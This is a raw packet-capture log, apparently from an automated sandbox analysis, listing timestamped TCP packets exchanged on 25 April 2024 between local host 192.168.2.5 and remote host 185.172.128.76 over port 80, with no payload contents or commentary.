Apr 25, 2024 21:48:00.728569984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.728647947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.728682041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728698015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728729963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728739977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728743076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.728743076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.728768110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.728773117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728825092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728857994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.728857994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.728913069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728925943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728976965 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.728996992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729026079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729026079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729060888 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729077101 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729114056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729156971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729223967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729252100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729269028 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729294062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729307890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729324102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729363918 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729387045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729434967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729465961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729481936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729494095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729516029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729516029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729547024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729568005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729619980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729635000 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729660988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729671955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729702950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729702950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729748011 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729792118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729799032 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729851007 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729868889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729880095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.729927063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.729968071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730027914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730061054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730113983 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730125904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730148077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730148077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730176926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730190039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730212927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730212927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730228901 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730242014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730273962 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730284929 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730309963 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730345964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730345964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730360031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730395079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730410099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730432034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730539083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730647087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730671883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730693102 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730700016 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730724096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730746031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730758905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730758905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730895996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730907917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.730910063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730948925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.730972052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731002092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731014013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731089115 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731111050 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731159925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731180906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731231928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731240988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731251955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731276989 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731328964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731344938 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731393099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731412888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731435061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.731478930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731489897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.731533051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773009062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773042917 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773123980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773149014 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773183107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773190022 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773253918 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773281097 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773288965 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773292065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773305893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773344040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773344040 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773349047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773401022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773415089 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773453951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773467064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773490906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773490906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773498058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773528099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773528099 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773555994 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773566961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773606062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773610115 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773641109 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773679972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773679972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773695946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773729086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773761034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773761034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773803949 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773884058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.773911953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773972988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.773983955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774003029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774028063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774033070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774089098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774106026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774127960 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774132013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774164915 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774180889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774208069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774224043 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774291992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774332047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774332047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774333000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774380922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774393082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774436951 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774486065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774580956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774599075 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774631977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774643898 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774663925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774663925 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774679899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774717093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774717093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774749041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774805069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774806023 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774817944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774857044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774857044 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774887085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774952888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.774961948 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.774986029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775016069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775016069 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775099039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775140047 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775171995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775171995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775223970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775304079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775373936 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775464058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775825024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775856018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775891066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775891066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.775907993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775939941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.775966883 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776009083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776011944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776024103 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776063919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776063919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776091099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776108027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776132107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776134968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776156902 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776179075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776207924 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776216984 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776227951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776257992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776257992 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776285887 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776299000 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776324987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776324987 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776361942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776374102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776418924 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776432037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776456118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776456118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776460886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776484966 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776494026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776494026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776539087 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776550055 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776599884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776658058 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776669979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776707888 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776789904 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.776878119 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.776959896 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.777043104 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.777049065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.777105093 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.777183056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.777257919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.777286053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.777426958 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.778629065 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.778724909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.778763056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.778763056 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.778887033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.778933048 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.779103041 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.779154062 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.779253960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.779351950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.779392004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.779392004 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.779609919 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.779659033 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.779690981 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.779691935 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.779866934 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.779932976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780005932 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780045986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780077934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780077934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780155897 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780214071 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780227900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780287027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780325890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780325890 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780337095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780397892 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780412912 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780452967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780488014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780503988 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780548096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780548096 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780560970 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780595064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780620098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780673027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780750036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780803919 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780819893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780874968 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780879974 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780927896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.780931950 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780981064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.780992031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.781006098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.781035900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.825555086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.825575113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.825604916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.825654030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.825700045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.825700045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.825825930 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.825928926 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.825968027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.825968027 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826076031 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.826121092 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.826154947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826154947 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826277971 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.826467991 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.826492071 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.826508045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826508045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826539993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826788902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.826901913 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.826965094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826965094 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.826989889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.827003002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.827044010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.827044010 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.827069998 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.827125072 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.827138901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.827166080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.827166080 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.827301979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 25, 2024 21:48:00.827338934 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 25, 2024 21:48:00.827338934 CEST	49704	80	192.168.2.5	185.172.128.76
